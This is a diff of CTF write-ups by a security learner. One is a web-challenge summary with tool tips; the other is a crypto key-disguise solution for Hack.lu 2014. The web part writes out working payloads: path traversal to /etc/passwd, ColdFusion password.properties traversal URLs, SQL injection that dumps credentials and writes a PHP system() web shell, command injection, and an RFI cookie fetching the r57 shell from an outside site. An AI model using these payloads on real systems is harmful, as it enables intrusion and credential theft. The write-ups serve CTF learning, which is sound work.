|
||||||
|
|
||||||
|
|
||||||
|
[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### TimThumb and LFI
|
||||||
|
|
||||||
|
[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues].
|
||||||
|
|
||||||
|
With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[TimThumb]: https://code.google.com/p/timthumb/
|
||||||
|
[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### CMS Mini and RFI
|
||||||
|
|
||||||
|
|
||||||
|
[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS].
|
||||||
|
|
||||||
|
[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
|
||||||
|
[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
|
||||||
|
|
||||||
|
|
||||||
|
An example of RFI vulnerability in CMS Mini is explored using curl:
|
||||||
|
|
||||||
|
```http
|
||||||
|
http://
|
||||||
|
[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
For more examples of exploits, check [1337day] and [this exploit-db].
|
||||||
|
|
||||||
|
[1337day]: http://1337day.com/exploit/3256
|
||||||
|
[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961
|
||||||
|
|
||||||
|
[this exploit-db]: http://www.exploit-db.com/exploits/28128/
|
||||||
|
[CMS Mini]: http://www.mini-print.com/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### ApPHP and Remote Code Execution
|
||||||
|
|
||||||
|
[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server.
|
||||||
|
|
||||||
|
[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/
|
||||||
|
[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution
|
||||||
|
|
||||||
|
[can be seen here]: http://www.exploit-db.com/exploits/33070/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php):
|
||||||
|
|
||||||
|
```http
|
||||||
|
GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/
|
||||||
|
Cookie: 0=include
|
||||||
|
```
|
||||||
|
|
||||||
|
In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)).
|
||||||
|
|
||||||
|
```http
|
||||||
|
Post Request: 0=include/myfile.php
|
||||||
|
Cookie: 0=http://www.r57shell.net/shell/r57.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Gitlist and Remote Command Execution
|
||||||
|
|
||||||
|
[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db].
|
||||||
|
|
||||||
|
In this CTF, the following command could be used to look for the flag:
|
||||||
|
|
||||||
|
```http
|
||||||
|
http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
[exploit-db]: http://www.exploit-db.com/exploits/33990/
|
||||||
|
[1337day]: http://en.1337day.com/exploit/22391
|
||||||
|
[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html
|
||||||
|
[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
|
||||||
|
[command injection]: http://cwe.mitre.org/data/definitions/77.html
|
||||||
|
[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/
|
||||||
|
[Gitlist]: http://gitlist.org/
|
||||||
|
|
||||||
|
|
||||||
|
### LibreOffice's Socket Connections
|
||||||
|
|
||||||
|
LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost).
|
||||||
|
|
||||||
|
For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen.
|
||||||
|
|
||||||
|
From the documentation, the default connection string is:
|
||||||
|
|
||||||
|
```http
|
||||||
|
Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
|
||||||
|
```
|
||||||
|
|
||||||
|
Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
An example of a payload can be seen [here].
|
||||||
|
|
||||||
|
|
||||||
|
[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
|
||||||
|
[unoconv]: http://linux.die.net/man/1/unoconv
|
||||||
|
[LibreOffice]: http://www.libreoffice.org/
|
||||||
|
[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/
|
||||||
|
|
||||||
|
### ColdFusion and Local File Disclosure
|
||||||
|
|
||||||
|
[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend.
|
||||||
|
|
||||||
|
CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014.
|
||||||
|
|
||||||
|
The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform.
|
||||||
|
|
||||||
|
[Railio 4.2]: http://www.getrailo.org/
|
||||||
|
[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion
|
||||||
|
[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html
|
||||||
|
|
||||||
|
|
||||||
|
#### SQL Injection (SQLi)
|
||||||
|
|
||||||
|
|
||||||
|
[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post].
|
||||||
|
|
||||||
|
In this CTF, these were some of the exploits that could be used:
|
||||||
|
|
||||||
|
* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**:
|
||||||
|
```sql
|
||||||
|
UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users--
|
||||||
|
```
|
||||||
|
|
||||||
|
* See the password file content:
|
||||||
|
```sql
|
||||||
|
UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3--
|
||||||
|
```
|
||||||
|
|
||||||
|
* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]):
|
||||||
|
|
||||||
|
```
|
||||||
|
UNION ALL SELECT 1 "<?php header("Content-Type: text/plain;charset=utf-8"); echo system($-GET["x"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php"--
|
||||||
|
```
|
||||||
|
|
||||||
|
Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
|
||||||
|
) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs.
|
||||||
|
|
||||||
|
[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
|
||||||
|
[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### CesarFTP 0.99g and Buffer Overflow
|
||||||
|
|
||||||
|
[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961).
|
||||||
|
|
||||||
|
For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### File Disclosure of Password Hashes
|
||||||
|
|
||||||
|
This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server.
|
||||||
|
|
||||||
|
Ingredients of this attack are:
|
||||||
|
|
||||||
|
* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS.
|
||||||
|
|
||||||
|
* At the ColdFusion administrator, verify the version, and then use these injections:
|
||||||
|
|
||||||
|
```
|
||||||
|
(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en
|
||||||
|
|
||||||
|
(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
|
||||||
|
|
||||||
|
(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
|
||||||
|
|
||||||
|
(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
|
||||||
|
```
|
||||||
|
|
||||||
|
* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale].
|
||||||
|
|
||||||
|
|
||||||
|
[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html
|
||||||
|
[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html
|
||||||
|
[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275
|
||||||
|
[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750
|
||||||
|
[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
|
||||||
|
[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html
|
||||||
|
[infointox]: http://www.infointox.net/?p=59
|
||||||
|
[directory traversal]: https://www.owasp.org/index.php/Path_Traversal
|
||||||
|
[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
|
||||||
|
[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
## Useful Tools
|
||||||
|
|
||||||
|
|
||||||
|
### Vulnerability Scanners
|
||||||
|
|
||||||
|
Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/).
|
||||||
|
|
||||||
|
In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py).
|
||||||
|
|
||||||
|
### Scapy
|
||||||
|
|
||||||
|
[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too.
|
||||||
|
|
||||||
|
|
||||||
|
### Steganography
|
||||||
|
|
||||||
|
One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption.
|
||||||
|
|
||||||
|
To run the tool (after downloading it) just do:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
java -jar paranoia.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/
|
||||||
|
|
||||||
|
### HTTP/HTTPS Request Tampering
|
||||||
|
|
||||||
|
Very useful for the RFI problems (but not limited to them):
|
||||||
|
|
||||||
|
* [Tamper Data]: view and modify HTTP/HTTPS headers.
|
||||||
|
* [Burp]: a Java application to secure or penetrate web applications.
|
||||||
|
|
||||||
|
|
||||||
|
[Burp]: http://portswigger.net/burp/
|
||||||
|
[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
|
||||||
|
|
||||||
|
|
||||||
|
### Wireshark
|
||||||
|
|
||||||
|
At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were:
|
||||||
|
|
||||||
|
* Look for POST requests:
|
||||||
|
```
|
||||||
|
http.request.method == "POST"
|
||||||
|
```
|
||||||
|
* Submit the found data (same username, nonce, and password) with the command:
|
||||||
|
```
|
||||||
|
$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### [Exif] data extractor:
|
||||||
|
|
||||||
|
[ExifTool] is used for reading, writing, and manipulating image metadata:
|
||||||
|
```sh
|
||||||
|
$ tar -xf Image-ExifTool-9.74.tar.gz
|
||||||
|
$ cd Image-ExifTool-9.74/
|
||||||
|
$ perl Makefile.PL
|
||||||
|
$ make test
|
||||||
|
$ sudo make install
|
||||||
|
$ exiftool IMAGEFILE
|
||||||
|
```
|
||||||
|
|
||||||
|
### MD5 Lookups
|
||||||
|
|
||||||
|
Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this].
|
||||||
|
|
||||||
|
|
||||||
|
[hash-killer]: http://hash-killer.com/
|
||||||
|
[md5this]: http://www.md5this.com/
|
||||||
|
|
||||||
|
|
||||||
|
### In the Shell
|
||||||
|
|
||||||
|
* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ python -c 'print "2f722f6e6574736563".decode("hex")'
|
||||||
|
/r/netsec
|
||||||
|
```
|
||||||
|
|
||||||
|
or command line [xxd]:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ yum install vim-common
|
||||||
|
$ xxd -r -p <<< 2f722f6e6574736563
|
||||||
|
/r/netsec
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Base64 decoders** are also essential:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ base64 --decode <<< BASE64STRING > OUTPUT
|
||||||
|
```
|
||||||
|
|
||||||
|
* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library:
|
||||||
|
```python
|
||||||
|
print "[*] Scanning for open ports using nmap"
|
||||||
|
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example:
|
||||||
|
```sh
|
||||||
|
$ ls | tee file
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting).
|
||||||
|
|
||||||
|
* **nm** is useful for listing symbols from object files
|
||||||
|
|
||||||
|
|
||||||
|
* **md5 hashing** is used all the time:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ echo -n password | md5sum
|
||||||
|
5f4dcc3b5aa765d61d8327deb882cf99
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
* You might want to **append a shell code to an image** (for example, a GIF file):
|
||||||
|
```sh
|
||||||
|
$ cat PHP-shell.php >> fig.gif
|
||||||
|
```
|
||||||
|
|
||||||
|
* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line:
|
||||||
|
```sh
|
||||||
|
netsh firewall set opmode mode=DISABLE.
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[tcpdump]: http://linux.die.net/man/8/tcpdump
|
||||||
|
[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html
|
||||||
|
[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format
|
||||||
|
[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100
|
||||||
|
[xxd]: http://linuxcommand.org/man_pages/xxd1.html
|
||||||
|
[Natas post]: http://bt3gl.github.io/exploiting-the-web-in-20-lessons-natas.html
|
257
CTFs_and_WarGames/2014/Hack.lu/README.md
Normal file
257
CTFs_and_WarGames/2014/Hack.lu/README.md
Normal file
@ -0,0 +1,257 @@
|
|||||||
|
# The Peace Pipe at Hack.lu's Final CTF 2014
|
||||||
|
|
||||||
|
|
||||||
|
## Understanding the Problem
|
||||||
|
|
||||||
|
The problem starts with this weird story:
|
||||||
|
|
||||||
|
After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today.
|
||||||
|
To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy.
|
||||||
|
You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking.
|
||||||
|
You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight.
|
||||||
|
Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down.
|
||||||
|
Maybe you can exploit their dizzyness to find out the location of the tipi.
|
||||||
|
|
||||||
|
Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**:
|
||||||
|
|
||||||
|
wildwildweb.fluxfingers.net 1432
|
||||||
|
|
||||||
|
With the second, we talk to **Wankoowah**:
|
||||||
|
|
||||||
|
wildwildweb.fluxfingers.net 1433
|
||||||
|
|
||||||
|
|
||||||
|
Finally, with the third, we talk to **Makawee**:
|
||||||
|
|
||||||
|
wildwildweb.fluxfingers.net 1434
|
||||||
|
|
||||||
|
It was obvious that this game was about fooling our fellow *stoned* native-Americans.
|
||||||
|
|
||||||
|
### A Dialogue with Chapawee
|
||||||
|
|
||||||
|
When we *netcat* to **Chapawee** he answers:
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1432
|
||||||
|
Hi I'm Chapawee. I know the truth about the stars
|
||||||
|
Say stars for more
|
||||||
|
```
|
||||||
|
|
||||||
|
We answer *stars* and get a funny menu:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
I can tell you the truth about
|
||||||
|
* constellation
|
||||||
|
* namestar [starname] [key_of_truth] Adds a public key to a user.
|
||||||
|
Existing users cannot be
|
||||||
|
overwritten. Input is
|
||||||
|
[a-f0-9]{1,700}.
|
||||||
|
* showstar [starname] Reads the public key from the
|
||||||
|
database.
|
||||||
|
```
|
||||||
|
|
||||||
|
The first option *constellation*, shows a very interesting scheme:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before).
|
||||||
|
|
||||||
|
So, from the above scheme, we know:
|
||||||
|
|
||||||
|
1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved).
|
||||||
|
|
||||||
|
2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048).
|
||||||
|
|
||||||
|
3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation).
|
||||||
|
|
||||||
|
|
||||||
|
In conclusion, all we need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### A Dialogue with Wankoowah
|
||||||
|
|
||||||
|
Now, let's see what Wankoowah has to say:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1433
|
||||||
|
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||||
|
```
|
||||||
|
|
||||||
|
We try a couple of possibilities to check the outputs:
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1433
|
||||||
|
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||||
|
noone
|
||||||
|
Hi noone
|
||||||
|
Cannot find it...
|
||||||
|
Ncat: Broken pipe.
|
||||||
|
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1433
|
||||||
|
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||||
|
makawee
|
||||||
|
Oh its you, Im so sorry. Can we talk now?
|
||||||
|
This is your key of truth
|
||||||
|
50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c
|
||||||
|
With magic I did this:
|
||||||
|
922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65
|
||||||
|
We continue our conversation, right?
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*...
|
||||||
|
|
||||||
|
|
||||||
|
### A Dialogue with Makawee
|
||||||
|
|
||||||
|
Let's see what Makawee has to say:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1434
|
||||||
|
Hi, I'm, Makawee, and you are? Too bright here...
|
||||||
|
noone
|
||||||
|
noone ... do I know you?
|
||||||
|
Cannot find it...
|
||||||
|
|
||||||
|
Ncat: Broken pipe.
|
||||||
|
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1434
|
||||||
|
Hi, I'm, Makawee, and you are? Too bright here...
|
||||||
|
wahkoowah
|
||||||
|
I dont talk to you anymore. That thing with my daughter...
|
||||||
|
|
||||||
|
Ncat: Broken pipe.
|
||||||
|
```
|
||||||
|
|
||||||
|
Mmmm, we need to make Makawee use Wankoowah's key without him knowing it!
|
||||||
|
|
||||||
|
Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1432
|
||||||
|
Hi I'm Chapawee. I know the truth about the stars
|
||||||
|
Say stars for more
|
||||||
|
stars
|
||||||
|
|
||||||
|
I can tell you the truth about
|
||||||
|
* stars
|
||||||
|
* constellation
|
||||||
|
* namestar [starname] [key_of_truth] Adds a public key to a user.
|
||||||
|
Existing users cannot be
|
||||||
|
overwritten. Input is
|
||||||
|
[a-f0-9]{1,700}.
|
||||||
|
* showstar [starname] Reads the public key from the
|
||||||
|
database.
|
||||||
|
|
||||||
|
namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
|
||||||
|
Add the star to the sky...
|
||||||
|
Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
|
||||||
|
```
|
||||||
|
|
||||||
|
Sending it to Makawee:
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1434
|
||||||
|
Hi, I'm, Makawee, and you are? Too bright here...
|
||||||
|
mrwhite
|
||||||
|
mrwhite ... do I know you?
|
||||||
|
Disguise does not help
|
||||||
|
```
|
||||||
|
|
||||||
|
Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky...
|
||||||
|
|
||||||
|
|
||||||
|
## Crafting a Solution
|
||||||
|
|
||||||
|
### Master in Disguising
|
||||||
|
|
||||||
|
Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value.
|
||||||
|
|
||||||
|
It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale!
|
||||||
|
|
||||||
|
Let's take a look again at the way the messages are generated:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk.
|
||||||
|
|
||||||
|
That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key.
|
||||||
|
|
||||||
|
|
||||||
|
### Automatizing the Process and getting the Flag!
|
||||||
|
|
||||||
|
|
||||||
|
All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag.
|
||||||
|
|
||||||
|
Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket
|
||||||
|
|
||||||
|
PORTm = 1434
|
||||||
|
